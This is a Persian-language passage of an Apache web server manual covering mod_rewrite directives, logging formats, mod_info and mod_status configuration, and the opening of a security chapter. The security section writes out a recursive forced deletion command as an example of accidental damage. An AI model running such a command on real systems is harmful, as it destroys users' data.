ت فرآيند را   ممكن اس ممكن است توسط قواعد بازنويسي قابل انجام باشد ولي برخي اوقات             اين دستور    كار
 در يـك    RewriteRuleاگـر   . كنـد   را مـشخص مـي    اي    هـاي شـاخه     بازنويسيبراي   پايه   URL .كندتر   ساده

.htaccess به مثال زير توجه كنيد.كافي استنام شاخه ادامه مشخص كردن فقط  به كار رفته باشد :  
Alias /xyz /abc/def" 
RewriteBase   /xyz 
RewriteRule   ^oldstuff\.html$  newstuff.html 

 abc/def/newstuff.html/فايـل فيزيكـي     بـه    xyz/oldstuff.html/يـك در خواسـت بـه        در اين مثـال     
  :ندده در درون ماجول اين اتفاقها روي مي. شود بازنويسي مي

Request  
/xyz/oldstuff.html  

Internal processing  
/xyz/oldstuff.html     -> /abc/def/oldstuff.html  (per-server 
Alias) 
/abc/def/oldstuff.html -> /abc/def/newstuff.html  (per-dir    
RewriteRule) 
/abc/def/newstuff.html -> /xyz/newstuff.html      (per-dir    
RewriteBase) 
/xyz/newstuff.html     -> /abc/def/newstuff.html  (per-server 
Alias) 
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Result  
/abc/def/newstuff.html  

 

RewriteCond 
  

 

RewriteCond TestString CondPattern 
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شوند تا شرايط اعمـال      RewriteRuleديركتيو  مقدم بر   ند  توا  مي  RewriteCondيك يا چند ديركتيو     
اسـتخراج شـده بـراي      مقـدار   بـا   منظم باشـد كـه      تواند يك عبارت      مي CondPatter .آن را مشخص كنند   

TestString  شود  مقايسه مي .TestString    متغيرهـايي بـه شـكل       حـاوي%{NAME_OF_VARIABLE} 
  :تواند باشد يكي از مقادي زير مي NAME_OF_VARIABLEكه است 

API_VERSION PATH_INFO SERVER_PROTOCOL 
AUTH_TYPE QUERY_STRING SERVER_SOFTWARE  
DOCUMENT_ROOT REMOTE_ADDR THE_REQUEST 
ENV:any_environment_variable REMOTE_HOST TIME 
HTTP_ACCEPT REMOTE_USER TIME_DAY 
HTTP_COOKIE REMOTE_IDENT TIME_HOUR  
HTTP_FORWARDED REQUEST_FILENAME TIME_MIN 
HTTP_HOST REQUEST_METHOD TIME_MON 
HTTP_PROXY_CONNECTION REQUEST_URI TIME_SEC 
HTTP_REFERER SCRIPT_FILENAME TIME_WDAY 
HTTP_USER_AGENT SERVER_ADMIN TIME_YEAR 
HTTP:any_HTTP_header SERVER_NAME   

IS_SUBREQ SERVER_PORT   

  
يـا زمـان جـاري    ، متغيرهاي كارگزار آپـاچي،   HTTP MIMEسرآيند همه متغيرها متناظر با يك نام 

  . شود  بعدي اعمال نميRewritingRule اگر عبارت منظم مطابق نباشد، .هستند

RewriteLock   

 

RewriteLock Filename 

Server config 

  كـه   علـت نيـاز آن اسـت       .كنـد   مشخص مي ) ازيبه منظور همگام س   (گذاري    نام فايل قفل  اين ديركتيو   
mod_rewrite    هاي    ارتباط با برنامه  نياز بهRewriteMap گذاري را روي سيستم فايـل        اين فايل قفل   . دارد

  .)NFSنه بر روي شاخه اتصال يافته (محلي مشخص كنيد 
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RewriteOptions   

 

RewriteOptions Option 

Default: None 
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کـارگزار يـا    پيکربنـدی فعلـی     ها را برای      برخی گزينه  RewriteOptionsديركتيـو   

  : البته تنها يك گزينه وجود دارد.كند جاري مشخص ميشاخه 
inherit  

بـراي  . شـود   پـدر مـي   پيكربنـدي از    باعث به ارث برده شدن      گزينه  اين  
و قواعـد  شـرطها،  بـردن نگاشـتها،   كارگزارهاي مجازي بـه معنـاي ارث     

شـرطها از   بري قواعـد و       ارثها به معني      براي شاخه . استكارگزار اصلي   
.htaccess  بالاتر استهاي  شاخه.  

RewriteRule   

 

RewriteRule Pattern Substitution [flags] 
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بنابراين . شود  خروجي قبلي اعمال مي   روي  هر كدام   . لازم به كار رود   تواند به هر تعداد       مياين ديركتيو   
اعمـال   Substitution در صورت تطبيق،    شود،   ورودي مقايسه داده مي    URLبا   Pattern. ترتيب مهم است  

تواننـد يكـي از مـوارد زيـر باشـند كـه        پرچمهـا مـي  . تواند داده شود  مي flagsآرگومان اختياري  . شود  مي
  :مخفف آن نيز استفاده كرد توان از مي

redirect|R  
  اجبار در تغيير مسير

proxy|P  
  اجبار در پراكسي

Last|L  
  . فعلي بروURLبه بلاي آخرين قاعده با  –قاعده آخرين 

chain|C  
  .اي زير را اعمال كن اعده زنجيرهقاگر قاعده مطابق بود، 

type|T=mimi-type  
  . باشدmime-typeفايل نهايي بايد از نوع 
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nonsubreq|NS  
  .نظر نما اگر درخواست داخلي بود، از قاعده صرف

qsappend|QSA  
  .پرس و جو را الحاق نمارشته يك 
passthrough|PT  

  .نگاه كنبعدي به سرآيند 
skip|S = num  

  .تا قاعده بعدي بپر numاز 
next|N  

  . از اولين قاعده دوباره شروع كن– دور بعدي
forbidden|F  

  . را برگردان"URL Forbidden"ي  به معنا403كد 
gone|G   

  . را برگردان"URL Gone"به معناي  410كد 
nocase|NC  

  .از بزرگي و كوچكي حروف صرف نظر كندر مقايسه 
  

  : به فرمURLخواهيم  ميبراي مثال فرض كنيد كه 
/Language/~Realname/.../File  

  :را به فرم زير تبديل كنيم
/u/Username/.../File.Language  

سـپس كـافي اسـت      . كنـيم   ذخيـره مـي    anywhere/map.real-to-user/بازنويسي را در    نگاشت  فايل  
  :آپاچي اضافه كنيمخطوط زير را به فايل پيكربندي 

RewriteLog   /anywhere/rewrite.log  
RewriteMap   real-to-user  txt:/anywhere/map.real-to-host  
RewriteRule  ^/([^/]+)/~([^/]+)/(.*)$    

/u/${real-to-user:$2|nobody}/$3.$1 
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7-3 Spelling  
 خطاهـاي املايـي   اين ماجول   . است كه به توزيع اضافه شده است       mod_spelling يك ماجول سودمند  

توجـه كنيـد كـه    . كنـد   تصحيح مـي  و فايل سيستم    مقايسه ورودي    با URLدر  يا  ديگر خطاهاي تايپي را       
  . كند تصيحيح نميهاي كاربري غلط را  شناسه

7-3 -1 CheckSpelling  
  :تواند شود فعال يا غير فعال مي CheckSpellingديركتيو 

CheckSpelling [on|off] 

Anywhere  
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 :هشتمفصل  8
  رويدادنگاري
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يكي از نكات مهم در برپايي يك وبگاه نظـارت بـر رويـدادها و شـناخت كـافي از مـراجعين بـه وبگـاه                          

 بـراي ايـن كـار آپـاچي امكانـات مناسـبي بـراي               . اسـت   بعدي بـسيار مفيـد     هاي  لشد كه براي تحلي   با  مي
ند، تقريباً تمـام    ك  علاوه بر ديركتيوهايي كه آپاچي براي پيكربندي ارائه مي        . رويدادنگاري فراهم كرده است   

ان بـا   تـو   اند كه مـي    آوري شده  اطلاعات گردآوري شده از درخواستهاي ورودي در متغيرهاي محيطي جمع         
  . به آنها دسترسي داشت و احياناً روي آنها پالايشي انجام دادCGIهاي  شتن اسكريپتنو

  رويدادنگاري با اسكريپت و پايگاه داده 8-1
توانيد كار طاقت فرسـاي رويـدادنگاري را بـا نوشـتن              كند، مي   اگر سايت شما از پايگاه داده استفاده مي       

ها   ثبت مستقيم داده  بسته به نيازهاي شما،     . ام دهيد انجكنندگان     مراجعه ثبت تمام اطلاعات  ها و     اسكريپت
 براي نمونـه يكـي از نويـسندگان         . خواهد بود  تر  بسيار ساده استخراج آنها از فايلهاي رويدادنگاري      به   نسبت
ركوردهايي  Perlاي ساده   ه  اسكريپت. دارد (www.Medic-Planet.com) المعارف پزشكي    دايرهوبگاه  يك  

  :كنند ثبت ميراي رديابي موارد زير را در پايگاه داده ب
  هر نوشتار چند بار خوانده شده است •
  دان چگونه مراجعه كنندگان به آن دست پيدا كرده •
  اند چند بار مراجعه كردههاي موتورهاي جستجو  عامل •
  دان ند و كجاها رفتها چند بار روي پيوندهاي سايت كليك كردهبازديدكنندگان  •

هـا و تهيـه        در پايگـاه داده، نوشـتن چنـد اسـكريپت بـراي بازيـابي داده               با داشتن اين اطلاعات مفيـد     
  . چندان مشكل نخواهد بودHTMLگزارشهايي در قالب 

  امكانات رويدادنگاري آپاچي  8-2
بـراي روشـن   . كنـد  رويدادنگاري ارائـه مـي  ها براي كنترل قالب فايلهاي  آپاچي گستره وسيعي از گزينه 

كنـيم و آن را   كپي مـي  site.logging/ ... را برداشته و به site.authent/ …شدن مطلب، فايل پيكربندي 
  :هيمد تغيير مي

User webuser 
Group webgroup 
ServerName www.butterthlies.com 
 
IdentityCheck on 
NameVirtualHost 192.168.123.2 
<VirtualHost www.butterthlies.com> 
LogFormat "customers: host %h, logname %l, user %u, time %t, request %r, 
    status %s,bytes %b," 
CookieLog logs/cookies 



  85    راهنماي كارگزار وب آپاچي   

  .باشد تمام حقوق اين اثر متعلق به شوراي عالي انفورماتيك مي

 

ServerAdmin sales@butterthlies.com 
DocumentRoot /usr/www/APACHE3/site.logging/htdocs/customers 
ServerName www.butterthlies.com 
ErrorLog /usr/www/APACHE3/site.logging/logs/customers/error_log 
TransferLog /usr/www/APACHE3/site.logging/logs/customers/access_log 
ScriptAlias /cgi_bin /usr/www/APACHE3/cgi_bin 
</VirtualHost> 
<VirtualHost sales.butterthlies.com> 
LogFormat "sales: agent %{httpd_user_agent}i, cookie: %{http_Cookie}i,  
    referer: %{Referer}o, host %!200h, logname %!200l, user %u, time %t, 
    request %r, status %s,bytes %b," 
CookieLog logs/cookies 
ServerAdmin sales_mgr@butterthlies.com 
DocumentRoot /usr/www/APACHE3/site.logging/htdocs/salesmen 
ServerName sales.butterthlies.com 
ErrorLog /usr/www/APACHE3/site.logging/logs/salesmen/error_log 
TransferLog /usr/www/APACHE3/site.logging/logs/salesmen/access_log 
ScriptAlias /cgi_bin /usr/www/APACHE3/cgi_bin 
<Directory /usr/www/APACHE3/site.logging/htdocs/salesmen> 
AuthType Basic 
AuthName darkness 
AuthUserFile /usr/www/APACHE3/ok_users/sales 
AuthGroupFile /usr/www/APACHE3/ok_users/groups 
require valid-user 
</Directory> 
<Directory /usr/www/APACHE3/cgi_bin> 
AuthType Basic 
AuthName darkness 
AuthUserFile /usr/www/APACHE3/ok_users/sales 
AuthGroupFile /usr/www/APACHE3/ok_users/groups 
#AuthDBMUserFile /usr/www/APACHE3/ok_dbm/sales 
#AuthDBMGroupFile /usr/www/APACHE3/ok_dbm/groups 
require valid-user 
</Directory> 
</VirtualHost> 

  
  :در اينجا تعدادي  ديركتيو جديد وجود دارد

ErrorLog   

 

ErrorLog filename|syslog[:facility]  

Default: ErrorLog logs/error_log 

Server config, virtual host 
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/ اگـر نـام فايـل بـا         . كند  شوند را مشخص مي     نام فايلي كه خطاها در آن ثبت مي        ErrorLogديركتيو   
  .شود كه نسبت به شاخه ريشه كارگزار است ض ميشروع نشود، فر

يـا همـان    (نام فايـل    براي اين كار    . وان از يك برنامه يا دستور هم براي پردازش خطا استفاده كرد           ت  مي
   . شروع شود(|)با نويسه پايپ بايد ) دستور اجرايي

   و بالاتر1.3 آپاچي
توان رويـدادنگاري را از طريـق         ايل مي ام ف ن به جاي    syslogاز  استفاده  با  در صورت پشتيباني سيستم،     

syslogd(8)  تـسهيلات   اسـتفاده از    فرض    پيش .انجام دادlocal7      بـا مقـدار را    تـوان ايـن      اسـت، ولـي مـي 
syslog:facility   كه   دادتغيير facility  تواند يكـي از مقـادير تعريـف شـده در مـستندات                 ميsyslog(1) 

فـراهم   يـك محـل متمركـز        دررويدادهاي چندين كـارگزار را      ري از   امكان نگهدا  syslogاستفاده از   . باشد
  . كند مي

شوند قابل نوشتن توسـط هـر         فايلهاي رويدادنگاري در آن نگهداري مي     اي كه     اگر شاخه دقت كنيد كه    
  .افتد امنيت به مخاطره ميكسي باشد، 

TransferLog   

 

TransferLog [ file | "| command "] 

Default: none 

Server config, virtual host 

 

TransferLog    اگـر صـريحاً   . كنـد  شوند را مشخص مي ثبت مي به سايت هاي دسترسيفايلي كه در آن
  .ودش مشخص نشده باشد، در اين صورت هيچ فايلي براي اين كار توليد نميدر فايل پيكربندي 

file 
  . فايل نسبت به شاخه ريشه كارگزارشروع شود، آدرس مطلق فايل و در غير اين صورت نام/ اگر با 

command  
. علامتهـاي نقـل قـول در فايـل پيكربنـدي لازم هـستند        )"command |" : به نحـو آن دقـت كنيـد   (

command             دقت كنيد كه   . كند   دستوري است كه رويدادها را به عنوان ورودي استاندارد خود دريافت مي
بـرد، لازم بـه ذكـر يـك برنامـه             كارگزار اصلي به ارث مي     را از    TransferLogبراي يك ميزبان مجازي كه      

. شود را اجرا كرده، اجرا مي httpdدر صورت استفاده از برنامه، برنامه با مجوزهاي كاربري كه      . جديد نيست 
 supportشـاخه   زيركـه در     rotatelogsشـود     برنامه مفيدي اغلب در سيستمهاي يـونيكس اسـتفاده مـي          

 كند  فايل رويدادنگاري را بسته و يك فايل جديد باز مي         اين برنامه به طور متناوب      . توان آن را پيدا كرد      مي
البتـه ايـن كـار بـا متوقـف كـردن آپـاچي و               . رويدادنگاري مفيد است  بايگاني و تحليل درازمدت     كه براي   
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چنـدان خوشـايند    شود كه براي كارفرماياني كه در حـال حاضـر متـصل هـستند                 انجام مي بازآغازيدن آن   
  .يستن

AgentLog   

 

AgentLog file-pipe 

AgentLog logs/agent_log 

Server config, virtual host 

Not in Apache v2 

. شـود   ثبـت مـي   درخواسـتهاي ورودي در آن       User-Agentسرآيند  نام فايلي كه     AgentLogديركتيو  
file-pipeتواند باشد  يكي از موارد زير مي:  
  نام يك فايل •
 ServerRoot نسبت به نام يك فايل •

• "| >command<"  
 . حذف شده است2 در آپاچي كه  بودارائه شده NCSA 1.4اين ديركتيو براي حفظ سازگاري با 

LogLevel   

 

LogLevel level  

Default: error 

Server config, virtual host 

 LogLevel ميــزان اطلاعــاتي كــه در فايــل error_logســطوح . كنــد مــيشــود را كنتــرل   ثبــت مــي
  :رويدادنگاري عبارتند از

emerg 
  :براي مثال. شود سيستم غير قابل استفاده است و خارج مي

"Child cannot open lock file. Exiting" 

alert 
  :براي مثال. واكنش فوري لازم است

"getpwuid: couldn't determine user name from uid" 

crit  
  :مثال. شرط بحراني

"socket: Failed to get a socket, exiting child" 
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error 
  :براي مثال. گيرد كارفرما سرويس مناسبي نمي

"Premature end of script headers" 

warn 
  :براي مثال. مسائل نه چندان مهم كه ممكن است نياز به توجه داشته باشند

"child process 1234 did not exit, sending another SIGHUP" 

notice 
  :براي مثال. رويدادهاي معمولي كه ممكن است نياز به بررسي داشته باشند

"httpd: caught SIGBUS, attempting to dump core in ..." 

info 
  :براي مثال

"Server seems busy, (you may need to increase StartServers, or 
Min/MaxSpareServers)..." 

debug 
  .كند زدايي ثبت مي ا هدف كمك به اشكالرويداداهاي معمولي را ب

  
 شامل تمام اطلاعـات  debugسطح به عنوان مثال  . باشد  تر از خودش نيز مي    بالاهر سطح شامل سطوح     

توانـد سـريع    رويـدادنگاري هـر چيـزي مـي    ولي به ياد داشته باشيد كه . باشد  از جمله سطوح ديگر نيز مي     
  !ديسك را پر كند

LogFormat   

 

LogFormat format_string [nickname] 

Default: "%h %l %u %t \"%r\" %s %b" 

Server config, virtual host 

LogFormat    كنـد  ثبت شوند و نيز قالب آنهـا را مـشخص مـي     بايد در فايل رويدادنگاري     اطلاعاتي كه .
بـا  ويـدنگاري   ابزارهاي موجود براي تحليل ر    است كه    CLF23)( قالب عمومي رويدادنگاري  فرض    قالب پيش 

 و  )wusage)  /com.boutell.www://httpتـوان بـه       از جملـه ايـن ابزارهـا مـي        . اين قالب سازگار هستند   
ANALOG  خواهيد از اين ابزارها استفاده كنيد، اين ديركتيو را تغيير ندهيـد             بنابراين اگر مي  .  اشاره كرد .

  : به شكل زير استCLF قالب
host ident authuser date request status bytes 

                                                 
23 Common Log Format  
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host 
  . آنIPنام ميزبان كارفرما يا آدرس 

ident  
 و ماشـين كارفرمـا       فعال شده باشـد    IdentityCheckاگر   ،كارفرماگزارش شده توسط    اطلاعات هويتي   

identdرا اجرا كند   
authuser 

  . يك سند حفاظت شده با گذرواژه باشدبراياگر درخواست شناسه كاربري، 
date 

  :باشد  كه در قالب زير ميتاريخ و زمان درخواست
[day/month/year:hour:minute:second  tzoffset]. 

request  
  .""خط درخواست از كارفرما بين علامتهاي 

bytes 
  .سرآيندهاتعداد بايتهاي فرستاده شده به استثناي 

بـه شـكل    دستورهاي آن   . سفارشي شود   format_stringاستفاده از يك    د با   وانت  قالب رويدادنگاري مي  
%[condition] keyletter ؛ استcondition برآورده نشدن شـرط  در صورت وجود شرط و  .اختياري است

  .  خواهد بود–خروجي يك علامت 
key_letter توانند به صورت زير باشند ها مي:  

%...a: Remote IP-address  

%...A: Local IP-address  

%...B: Bytes sent, excluding HTTP headers.  

%...b: Bytes sent, excluding HTTP headers. In CLF format i.e. a '-' rather than a 
0  

when no bytes are sent.  

%...{Foobar}C: The contents of cookie "Foobar" in the request sent to the server.  

%...D: The time taken to serve the request, in microseconds.  

%...{FOOBAR}e: The contents of the environment variable FOOBAR  

%...f: Filename  

%...h: Remote host  

%...H The request protocol  

%...{Foobar}i: The contents of Foobar: header line(s) in the request sent to the  

server.  

%...l: Remote logname (from identd, if supplied)  

%...m The request method  

%...{Foobar}n: The contents of note "Foobar" from another module.  

%...{Foobar}o: The contents of Foobar: header line(s) in the reply.  

%...p: The canonical Port of the server serving the request  

%...P: The process ID of the child that serviced the request.  

%...q The query string (prepended with a ? if a query string exists, otherwise an  
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empty string) %...r: First line of request  

%...s: Status. For requests that got internally redirected, this is the status of 
the  

*original* request ---  

%...>s for the last.  

%...t: Time, in common log format time format (standard english format) %... 

{format}t: The time, in the form given by format, which should be in strftime(3)  

format. (potentially localized)  

%...T: The time taken to serve the request, in seconds.  

%...u: Remote user (from auth; may be bogus if return status (%s) is 401)  

%...U: The URL path requested, not including any query string.  

%...v: The canonical ServerName of the server serving the request.  

%...V: The server name according to the UseCanonicalName setting.  

%...X: Connection status when response is completed. 'X' = connection aborted 
before  

the response completed. '+' = connection may be kept alive after the response is  

sent. '-' = connection will be closed after the response is sent. (This directive 
was  

%...c in late versions of Apache 1.3, but this conflicted with the historical ssl 
%...{var}c syntax.) 

 

  . داشته باشد%را به همراه ديركتيوهاي هر متن دلخواهي تواند  رشته قالب مي

CustomLog   

 

CustomLog file|pipe format|nickname 

Server config, virtual host 

ايـن دقيقـاً مـشابه      . شـوند   اولين آرگومان نام فايلي است كه ركوردهاي رويـدادنگاري در آن ثبـت مـي              
  .  استTransferLogآرگومان 

هـاي قالـب دقيقـاً مـشابه          گزينـه . كنـد   هر خط فايل رويدادنگاري را مشخص مـي       قالب  آرگومان قالب،   
بايـد  ) كه اغلب همين طور است    (حاوي خط فاصله باشد     اگر قالب   .  هستند LogFormatديركتيو  آرگومان  

  . محصور شود""با علامتهاي 
 LogFormatديركتيـو  مـستعار كـه توسـط    يـك نـام   توان از  عي، ميقالب واقبه جاي استفاده از رشته    

  .شود استفاده كرد تعريف مي

  پيكربندي رويدادنگاري  8-3
ماجول مـورد نيـاز بـراي       . آپاچي قادر است اطلاعات زيادي درباره رويدادهاي داخلي خود گزارش دهد          

بر پيكربندي  اين ماجول مرور جامعي      .آپاچي اضافه شود  است كه بايد هنگام ساخت       mod_info.cاين كار   
ايـن مـاجول بـه طـور        . كارگزار شامل تمام ماجولهاي نصب شـده و ديركتيوهـا در فايـل پيكربنـدي دارد               
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مـاجول مربوطـه را   شـود،    پشتيباني مـي   24DSOاز  ، اگر   براي فعال كردن آن   . شود  كامپايل نمي فرض    پيش
  :و دوباره آن را كمپايل نماييدكارگزار اضافه كرده فايل پيكربندي ساخت بارگذاري كنيد يا خط زير را در 

AddModule modules/standard/mod_info.o 

راهبر آن در تمام فايلهـاي      قابليت   در داخل كارگزار كمپايل شود،       mod_infoيادآور شويم كه اگر     بايد  
خطـرات  ممكن است   ، كه اين    در دسترس خواهد بود   ) ها  در زيرشاخه  htaccess.مانند فايلهاي   (پيكربندي  

 كاربرد چگونگي  استsite.authent/ … كه تغيير يافته site.info/ … فايل پيكربندي .تي داشته باشدامني
  :دهد اين ماجول را نشان مي

User webuser 
Group webgroup 
ServerName www.butterthlies.com 
  
NameVirtualHost 192.168.123.2 
 
LogLevel debug 
 
<VirtualHost www.butterthlies.com> 
#CookieLog logs/cookies 
AddModuleInfo mod_setenvif.c "This is what I've added to mod_setenvif" 
ServerAdmin sales@butterthlies.com 
DocumentRoot /usr/www/APACHE3/site.info/htdocs/customers 
ServerName www.butterthlies.com 
ErrorLog /usr/www/APACHE3/site.info/logs/error_log 
TransferLog /usr/www/APACHE3/site.info/logs/customers/access_log 
ScriptAlias /cgi-bin /usr/www/APACHE3/cgi-bin 
 
<Location /server-info> 
SetHandler server-info 
</Location> 
 
</VirtualHost> 
 
<VirtualHost sales.butterthlies.com> 
CookieLog logs/cookies 
ServerAdmin sales_mgr@butterthlies.com 
DocumentRoot /usr/www/APACHE3/site.info/htdocs/salesmen 
ServerName sales.butterthlies.com 
ErrorLog /usr/www/APACHE3/site.info/logs/error_log 
TransferLog /usr/www/APACHE3/site.info/logs/salesmen/access_log 
ScriptAlias /cgi-bin /usr/www/APACHE3/cgi-bin 
<Directory /usr/www/APACHE3/site.info/htdocs/salesmen> 
AuthType Basic 
#AuthType Digest 

                                                 
24 Dynamic Shared Objec  
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AuthName darkness 
 
AuthUserFile /usr/www/APACHE3/ok_users/sales 
AuthGroupFile /usr/www/APACHE3/ok_users/groups 
 
#AuthDBMUserFile /usr/www/APACHE3/ok_dbm/sales 
#AuthDBMGroupFile /usr/www/APACHE3/ok_dbm/groups 
 
#AuthDigestFile /usr/www/APACHE3/ok_digest/sales 
require valid-user 
satisfy any 
order deny,allow 
allow from 192.168.123.1 
deny from all 
#require user daphne bill 
#require group cleaners 
#require group directors 
</Directory> 
 
<Directory /usr/www/APACHE3/cgi-bin> 
AuthType Basic 
AuthName darkness 
AuthUserFile /usr/www/APACHE3/ok_users/sales 
AuthGroupFile /usr/www/APACHE3/ok_users/groups 
#AuthDBMUserFile /usr/www/APACHE3/ok_dbm/sales 
#AuthDBMGroupFile /usr/www/APACHE3/ok_dbm/groups 
require valid-user 
</Directory> 
 
</VirtualHost> 

  . دقت كنيد<… Location> بلوك  و AddModuleInfoخط به 

8 -3 -1 AddModuleInfo 
براي اطلاعات اضافه دربـاره      HTMLبه شكل   را   stringمحتواي  دهد    اجازه مي  AddModuleديركتيو  

  .نشان داده شود module-nameاجول م
AddModuleInfo module-name string 

Server config, virtual host 

 

  :ثالبراي م
AddModuleInfo mod_auth.c 'See <A HREF="http://www.apache.org/docs/mod/ 
    mod auth.html">http://www.apache.org/docs/mod/mod_auth.html</A>' 

ــراي فراخــوا ــاجول ب ــر آدرس ني م ــد www.butterthlies.com/server-infoدر مرورگ در . را وارد كني
  :مرورگر چيزي شبيه به زير خواهيد ديد

Apache Server Information 
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Server Settings, mod_setenvif.c, mod_usertrack.c, mod_auth_digest.c, 
mod_auth_db.c,  
mod_auth_anon.c, mod_auth.c, mod_access.c, mod_rewrite.c, mod_alias.c, 
mod_userdir.c,  
mod_actions.c, mod_imap.c, mod_asis.c, mod_cgi.c, mod_dir.c, 
mod_autoindex.c, mod_ 
include.c, mod_info.c, mod_status.c, mod_negotiation.c, mod_mime.c, 
mod_log_config.c,  
mod_env.c, http_core.c  
Server Version: Apache/1.3.14 (Unix) 
Server Built: Feb 13 2001 15:20:23 
API Version: 19990320:10 
Run Mode: standalone 
User/Group: webuser(1000)/1003 
Hostname/port: www.butterthlies.com:0 
Daemons: start: 5 min idle: 5 max idle: 10 max: 256 
Max Requests: per child: 0 keep alive: on max per connection: 100 
Threads: per child: 0  
Excess requests: per child: 0  
Timeouts: connection: 300 keep-alive: 15 
Server Root: /usr/www/APACHE3/site.info 
Config File: /usr/www/APACHE3/site.info/conf/httpd.conf 
PID File: logs/httpd.pid 
Scoreboard File: logs/apache_runtime_status 
 
Module Name: mod_setenvif.c  
Content handlers: none  
Configuration Phase Participation: Create Directory Config, Merge 
Directory Configs,  
Create Server Config, Merge Server Configs  
Request Phase Participation: Post-Read Request, Header Parse  
Module Directives:  
SetEnvIf - A header-name, regex and a list of variables.  
SetEnvIfNoCase - a header-name, regex and a list of variables.  
BrowserMatch - A browser regex and a list of variables.  
BrowserMatchNoCase - A browser regex and a list of variables.  
Current Configuration:  
Additional Information:  
This is what I've added to mod_setenvif 
............ 

  .يابد ها ادامه مي فايل با اطلاعات ديگر ماجول

8-4 Status  
شـمول و فراخـواني     خود با   جامعي از وضعيت    اطلاعات  ارائه  توان وادار به      آپاچي را مي  به طريق مشابه،    

  :كرد mod_statusماجول 
AddModule modules/standard/mod_status.o 
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بـه او ايـن امكـان را        ارزش باشد، ولـي       بي تيك سايت شلوغ ممكن اس    راهبر  اگرچه اين اطلاعات براي     
براي آن كه اطلاعات داده شده در اختيار افـراد غيـر             .رديابي كند فاجعه  مسائل را قبل از بروز      دهد كه     مي

  .براي دسترسي به اين اطلاعات را محدود كرد IPتوان آدرس  ، ميمجاز قرار نگيرد

  وضعيت كارگزار  4-1- 8
 infoماجول مشابه قبلي : ( به صورت زير خواهد بودsite.status/ …  درhttpd.conf فايل براي تمرين، 

  )هم لازم است
User webuser 
Group webgroup 
ServerName www.butterthlies.com 
DocumentRoot /usr/www/APACHE3/site.status/htdocs 
ExtendedStatus on 
 
<Location /status> 
order deny,allow 
allow from 192.168.123.1 
deny from all 
SetHandler server-status 
</Location> 
 
<Location /info> 
order deny,allow 
allow from 192.168.123.1 
deny from all 
SetHandler server-status 
SetHandler server-info 
</Location> 

  .دارد اطلاعات را محرمانه نگاه مي allow fromديركتيو 
دقـت داشـته     . مراجعـه نماييـد    6-5 به بخـش    توانيد    مي orderديركتيو  ي درباره نحوه كار     براي يادآور 

دهـد، از    كـه يـك راهبـر بـه يـك فايـل بـا پـسوند خـاص نـسبت مـي                  AddHandlerبه جـاي    باشيد كه   
SetHandler ه آدرس  اگــر بــ.دهــد اســتفاده شــده اســت راهبــر بــه يــك شــاخه خــاص نــسبت مــي كــه

www.butterthlies.com/status  ،خروجي زير را خواهيد ديددر پاسخ مراجعه كنيد:  
Apache Server Status for www.butterthlies.com 
Server Version: Apache/1.3.14 (Unix) 
Server Built: Feb 13 2001 15:20:23 
 
Current Time: Tuesday, 13-Feb-2001 16:03:30 GMT 
Restart Time: Tuesday, 13-Feb-2001 16:01:49 GMT 
Parent Server Generation: 0  
Server uptime: 1 minute 41 seconds 
Total accesses: 21 - Total Traffic: 49 kB 
CPU Usage: u.0703125 s.015625 cu0 cs0 - .0851% CPU load 
.208 requests/sec - 496 B/second - 2389 B/request 
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1 requests currently being processed, 5 idle servers  
_W___  _.......................................................... 
................................................................ 
................................................................ 
................................................................ 
Scoreboard Key:  
"_" Waiting for Connection, "S" Starting up, "R" Reading Request, 
"W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, 
"L" Logging, "G" Gracefully finishing, "." Open slot with no current process  
 
Srv PID  Acc      M CPU  SS Req Conn Child Slot Client        VHost  
Request  
0-0 2434 0/1/1    _ 0.01 93   5  0.0  0.00 0.00 192.168.123.1 
www.butterthlies.com  
GET /status HTTP/1.1 
1-0 2435 20/20/20 W 0.08  1   0 47.1  0.05 0.05 192.168.123.1 
www.butterthlies.com  
GET /status?refresh=2 HTTP/1.1 
 
Srv   Child Server number - generation  
PID   OS process ID  
Acc   Number of accesses this connection / this child / this slot  
M     Mode of operation  
CPU   CPU usage, number of seconds  
SS    Seconds since beginning of most recent request  
Req   Milliseconds required to process most recent request  
Conn  Kilobytes transferred this connection  
Child Megabytes transferred this child  
Slot  Total megabytes transferred this slot   

  
  :توان گرفت مفيد ديگري مي، اطلاعات  هاي ديگرURLدرخواست با 

status?notable  
  .فرستد  ميوضعيت را بدون استفاده از جداولكنند،  براي مرورگرهايي كه از جدول پشتيباني نمي

status?refresh 
  .كند صفحه را بهنگام ميهر يك ثانيه 

status?refresh=<n>  
  .كند  مي ثانيه صفحه را بهنگام<n>هر 

status?auto  
  . كند وضعيت را در قالبي مناسب براي پردازش خودكار توليد مي

  
: مثـال . انـد، آورد    بـه صـورت تركيبـي كـه بـا كامـا از هـم جـدا شـده                  آرگومانهاي مختلـف را     توان    مي

http://www.butterthlies.com/status?notable,refresh=10  
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8 -4-2  ExtendedStatus  
  .كند كنترل مي  راهر درخواستبراي وضعيت اطلاعات اضافه نگهداري  ExtendedStatusديركتيو 

ExtendedStatus On|Off 

Default: Off 

server config 

ديركتيو تنهـا بـر      اين   . روي كارگزار فعال باشد    statusماجول  اين ديركتيو تنها هنگامي مفيد است كه        
ايـن   .ر كارگزار مجازي فعـال يـا غيـر فعـال كـرد            توان آن را به ازاي ه       نميكل كارگزار قابل اعمال است و       

  .كارآيي بگذاردتاثير منفي بر تواند  ميديركتيو 
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 :منهفصل  9
  امنيت
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هاي امنيتي زيادي به همراه دارد و لازم است به عنوان يكـي         پيامدراه اندازي و اجراي يك كارگزار وب        
امل درباره امنيت يك كتابخانه را به طـور كامـل پـر    بحث كالبته . از چالشهاي اصلي مورد توجه قرار گيرد      

  .در اين فصل به طور كلي به اين پيامدها و راهكارهاي آنها نگاهي خواهيم داشتبا اين حال ! خواهد كرد
امكان كپي، تغيير يـا پـاك       ) يا به بيان بهتر كاربران غير مجاز      (به طور كلي مي خواهيم كاربران بيگانه        

همچنين مي خواهيم كاربران غير مجاز نتوانند برنامه هاي غير تاييـد            .  نداشته باشند  ما را كردن داده هاي    
و نيز مي خواهيم دوستان و كاربران مجاز هم نتوانند دچـار خطاهـاي              . شده را روي ماشين ما اجرا نمايند      

ونـه يـك    بـه عنـوان نم    . شوند كه ممكن است به اندازه يك خرابكار عمدي فاجعه به بار بياورد            غير عمدي   
  :كاربر ممكن است دستور زير را اجرا كند

rm –f –r * 

هـاي   تواند اين دستور را در شاخه       ولي وي نمي   خود شود هاي   و باعث پاك شدن كليه فايلها و زيرشاخه       
  . متعلق به كاربران ديگر اجرا كند

